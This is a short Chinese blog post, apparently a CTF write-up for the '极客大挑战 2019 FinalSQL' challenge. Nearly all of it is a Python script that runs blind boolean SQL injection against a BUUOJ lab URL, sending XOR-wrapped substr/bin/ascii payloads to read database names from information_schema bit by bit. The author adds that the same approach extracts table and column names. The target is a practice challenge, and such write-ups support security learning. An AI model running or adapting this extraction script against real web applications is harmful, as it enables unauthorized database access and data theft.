[极客大挑战 2019]FinalSQL1

最新推荐文章于 2024-02-23 21:33:47 发布

azraelxuemo

最新推荐文章于 2024-02-23 21:33:47 发布

阅读量306

点赞数 1

分类专栏： ctf

本文链接：https://blog.csdn.net/azraelxuemo/article/details/118968252

版权

ctf 专栏收录该内容

4 篇文章 1 订阅

订阅专栏

具体的思路网上也还有其他的，这里我就分享一个脚本
这个是爆数据名，表名，列名类推

import requests
import time

database_all = ''


url = 'http://7023b2d9-28ff-48a1-b167-05f060adfc6e.node4.buuoj.cn/search.php?id=1'
# 求出总长度的位数，比如说如果总长度为43,那么就是2位数
weishu = ''
for i in range(1, 7):
    sql = "^(substr(bin(ascii(length(length((select(group_concat(SCHEMA_NAME))from(information_schema.SCHEMATA)))))),{},1)=1)^1".format(i)
    re = requests.get(url+sql, timeout=1000)
    if re.status_code == 200:
        if 'Click' in re.text:
            weishu += '1'
        else:
            weishu += '0'
weishu = int(chr(int(weishu, 2)))
# 求出具体的总长度
len = ''
for i in range(1, weishu+1):
    len_wei = ''
    for j in range(1, 7):
        sql = "^(substr(bin(ascii(substr(length((select(group_concat(SCHEMA_NAME))from(information_schema.SCHEMATA))),{},1))),{},1)=1)^1".format(i, j)
        re = requests.get(url+sql, timeout=1000)
        if re.status_code == 200:
            if 'Click' in re.text:
                len_wei += '1'
            else:
                len_wei += '0'
    len += chr(int(len_wei, 2))
for i in range(1, int(len)+1):
    sql = "^(length(bin(ascii(substr((select(group_concat(SCHEMA_NAME))from(information_schema.SCHEMATA)),{},1))))=7)^1".format(i)
    re = requests.get(url+sql, timeout=1000)
    time.sleep(1)
    if re.status_code == 200:
        if 'Click' in re.text:
            len = 7
        else:
            len = 6
    str = ''
    for j in range(1, len+1):
        sql = '^(substr(bin(ascii(substr((select(group_concat(SCHEMA_NAME))from(information_schema.SCHEMATA)),{},1))),{},1)=1)^1'.format(
            i, j)
        re = requests.get(url+sql, timeout=1000)
        time.sleep(1)
        if re.status_code == 200:
            if 'Click' in re.text:
                str += '1'
            else:
                str += '0'
    database_all += chr(int(str, 2))
    print(database_all)